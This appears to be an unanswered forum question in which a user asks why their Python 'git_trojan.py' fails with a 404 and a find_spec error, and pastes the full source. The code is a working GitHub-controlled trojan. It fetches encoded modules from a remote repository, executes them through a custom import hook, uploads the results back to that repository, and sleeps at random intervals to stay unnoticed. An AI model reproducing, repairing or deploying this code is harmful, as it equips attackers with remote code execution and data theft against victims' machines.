I've seen some similar problems here, but any of suggested solutions don't work for my project, full error down bellow. By the way, while first error occures, other errors occured too, idk what's wrong:

Traceback (most recent call last):
  File "<frozen importlib._bootstrap>", line 919, in _find_spec
AttributeError: 'GitImporter' object has no attribute 'find_spec'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\user\PycharmProjects\test\git_trojan.py", line 90, in <module>
    trojan.run()
  File "C:\Users\user\PycharmProjects\test\git_trojan.py", line 57, in run
    config = self.get_config()
  File "C:\Users\user\PycharmProjects\test\git_trojan.py", line 41, in get_config
    exec("import %s" % task['module'])
  File "<string>", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
  File "<frozen importlib._bootstrap>", line 986, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 664, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 627, in _load_backward_compatible
  File "C:\Users\user\PycharmProjects\test\git_trojan.py", line 82, in load_module
    exec(self.current_module_code, new_module.__dict__)
  File "<string>", line 4, in <module>
  File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
  File "<frozen importlib._bootstrap>", line 982, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 921, in _find_spec
  File "<frozen importlib._bootstrap>", line 895, in _find_spec_legacy
  File "C:\Users\user\PycharmProjects\test\git_trojan.py", line 74, in find_module
    new_library = get_file_contents('modules', f'{name}.py', self.repo)
  File "C:\Users\user\PycharmProjects\test\git_trojan.py", line 23, in get_file_contents
    return repo.file_contents(f'{dirname}/{module_name}').content
  File "C:\Users\user\PycharmProjects\test\venv\lib\site-packages\github3\repos\repo.py", line 1686, in file_contents
    json = self._json(self._get(url, params={"ref": ref}), 200)
  File "C:\Users\user\PycharmProjects\test\venv\lib\site-packages\github3\models.py", line 161, in _json
    raise exceptions.error_for(response)
github3.exceptions.NotFoundError: 404 Not Found

I've tried renaming my main brunch in repository to master, I also checked the names from repository and my program that use them, everything seems to be correct.

import base64
import github3
import importlib
import json
import random
import threading
from datetime import datetime
import sys
import time

arr1 = []


def github_connect():
    with open('mytoken.txt') as f:
        token = f.read()
    user = 'Capta1n-Maestro'
    sess = github3.login(token=token)
    return sess.repository(user, 'klog')


def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f'{dirname}/{module_name}').content


class Trojan:
    def __init__(self, id):
        self.id = id
        self.config_file = f'{id}.json'
        self.data_path = f'data/{id}/'
        self.repo = github_connect()
        self.current_window = None

    def get_config(self):
        config_json = get_file_contents(
            'config', self.config_file, self.repo
        )
        config = json.loads(base64.b64decode(config_json))
        for task in config:
            if task['module'] not in sys.modules:
                exec("import %s" % task['module'])
        return config

    def module_runner(self, module):
        result = sys.modules[module].run()
        self.store_module_result(result)
        # print(result)

    def store_module_result(self, data):
        message = datetime.now().isoformat()
        remote_path = f'data/{self.id}/{message}.data'
        bindata = bytes('%r' % data, 'utf-8')
        self.repo.create_file(remote_path, message, base64.b64encode(bindata))

    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(
                    target=self.module_runner,
                    args=(task['module'],))
                thread.start()
                time.sleep(random.randint(1, 10))
            time.sleep(random.randint(30 * 60, 3 * 60 * 60))


class GitImporter:
    def __init__(self):
        self.current_module_code = ""

    def find_module(self, name, path):
        print("[*] Finding %s" % name)
        self.repo = github_connect()
        new_library = get_file_contents('modules', f'{name}.py', self.repo)
        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self

    def load_module(self, name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)
        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code, new_module.__dict__)
        sys.modules[spec.name] = new_module
        return new_module


if __name__ == '__main__':
    sys.meta_path.append(GitImporter())
    trojan = Trojan('abc')
    trojan.run()
0

There are 0 best solutions below